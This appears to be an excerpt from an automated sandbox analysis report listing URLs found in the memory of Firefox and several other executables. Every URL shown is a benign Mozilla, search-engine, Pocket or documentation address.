Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C293000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164693958.0000016D6C644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C293000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000017.00000002.3167775186.0000016D6CC10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2107237280.0000000005509000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 00000017.00000002.3139672822.0000016D66630000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Error:
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2107237280.0000000005509000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2863564785.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3022250028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000017.00000002.3106722190.0000016D54411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3106722190.0000016D54430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture&?
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureWebExtensionUncheckedLastErr
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000017.00000002.3136934154.0000016D66203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 544ed086e5.exe, 00000008.00000002.2927820038.000000000087C000.00000040.00000001.01000000.0000000B.sdmp, 544ed086e5.exe, 00000008.00000003.2887362261.000000000525B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000017.00000002.3170850618.0000090644504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3008320117.0000016D64638000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3009175241.0000016D6466F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3172455834.0000303CE3004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3108707979.0000016D5FA98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3132854164.0000016D64C24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3021924868.0000016D64BDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2075866543.0000000005538000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834573875.00000000058DB000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834841668.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058D8000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972036067.0000000005D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000017.00000002.3110744034.0000016D6017D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127673620.0000016D64265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000017.00000002.3127673620.0000016D64265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000017.00000002.3139896625.0000016D667CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/SelectOptionsLengthAssignmentW
Source: firefox.exe, 00000017.00000002.3128923043.0000016D64570000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000017.00000002.3128800078.0000016D64540000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3114237804.0000016D61C65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3172210838.000028196A504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000017.00000002.3114237804.0000016D61C65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comflush-pending-permissions
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D639A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000017.00000002.3127541201.0000016D64103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000017.00000003.3008320117.0000016D64638000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3009175241.0000016D6466F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3007429608.0000016D64400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126638822.0000016D63F30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
